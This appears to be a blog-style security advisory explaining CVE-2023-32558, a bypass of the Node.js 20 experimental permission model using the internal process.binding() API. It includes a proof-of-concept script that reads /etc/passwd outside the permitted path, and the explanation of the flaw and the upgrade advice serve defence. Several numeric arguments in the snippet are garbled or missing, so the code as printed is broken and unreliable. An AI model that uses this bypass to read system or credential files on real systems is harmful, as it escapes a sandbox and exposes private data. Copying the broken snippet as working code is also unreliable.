Node.js 20 introduced an experimental permission model to help limit what scripts can do. But in May 2023, security researchers found a serious weakness—if you use Node.js' old, internal function process.binding(), you can sneak past these protections. This vulnerability, tracked as CVE-2023-32558, affects anyone using Node.js 20.x with the experimental permissions feature enabled.
Let’s break down what happened, see how the exploit works, and learn what you can do about it.
What is Node.js' Permission Model?
Node.js 20 added a permission model so you can, for example, tell a script:
*"You can read only /foo/bar.txt and nothing else,"*
by running
node --experimental-permission --allow-fs-read=/foo/bar.txt myScript.js
But—being experimental—the feature is not yet fully robust.
Where Did Things Go Wrong?
Node.js has an old, internal API called process.binding(). It’s not part of the public documentation, but it’s still there (mostly for core module authors).
process.binding() gives you direct access to Node's C++ bindings. This means you can use it to open files, sockets, or other things—bypassing the new permission checks completely.
The problem: The permissions model does NOT control what you do with process.binding()!
This is classic "privilege escalation": you use an internal, outdated tool to escape the restrictions in place.
Exploiting CVE-2023-32558: A Simple Code Example
Let’s say you're trying to read a file called /etc/passwd, but Node was started to only let your script read /foo/bar.txt.
Even with this restriction, you can use process.binding('fs') to open any file
// Assume Node was started with:
// node --experimental-permission --allow-fs-read=/foo/bar.txt script.js
const fsBinding = process.binding('fs');
const constants = process.binding('constants');
const fd = fsBinding.open('/etc/passwd', constants.O_RDONLY, o666); // Bypasses permission model!
let buf = Buffer.alloc(1024);
const bytesRead = fsBinding.read(fd, buf, , 1024, );
console.log(buf.slice(, bytesRead).toString());
fsBinding.close(fd);
Even though permission model is ON, /etc/passwd prints to the console.
If you try normal fs.readFile('/etc/passwd'), Node refuses (because of the permission model).
Why Does Path Traversal Matter Here?
Because you can specify any path. Node wanted to block file and folder access outside your allowed areas, but with process.binding('fs'), you simply skip these checks, even using creative path traversal like ../../../etc/passwd.
Who is Affected?
* All Node.js 20.x users with the experimental permission model enabled
* Apps that let untrusted code run or process user-supplied modules (sandboxing)
Good news: If you don't use the experimental permissions, this won’t affect your app.
References and Original Alerts
* Node.js Security Release Summary (June 2023)
* CVE-2023-32558 on MITRE/NVD
* GitHub Node.js Advisory GHSA-668r-7qcp-rg3p
* Example code snippets from exploit discussions on GitHub
Avoid running untrusted code in Node if you need strict permissions.
- Upgrade to the latest Node.js version—Node will address and improve these issues as permissions mature.
Conclusion
process.binding() is a dangerous backdoor for breaking out of Node.js’ sandbox, especially with permissions turned on. CVE-2023-32558 reminds us: experimental features are never security boundaries! Until permissions are fully ready, stick to running code you trust, and stay on top of security updates.
Timeline
Published on: 09/12/2023 02:15:12 UTC
Last modified on: 12/04/2023 14:57:36 UTC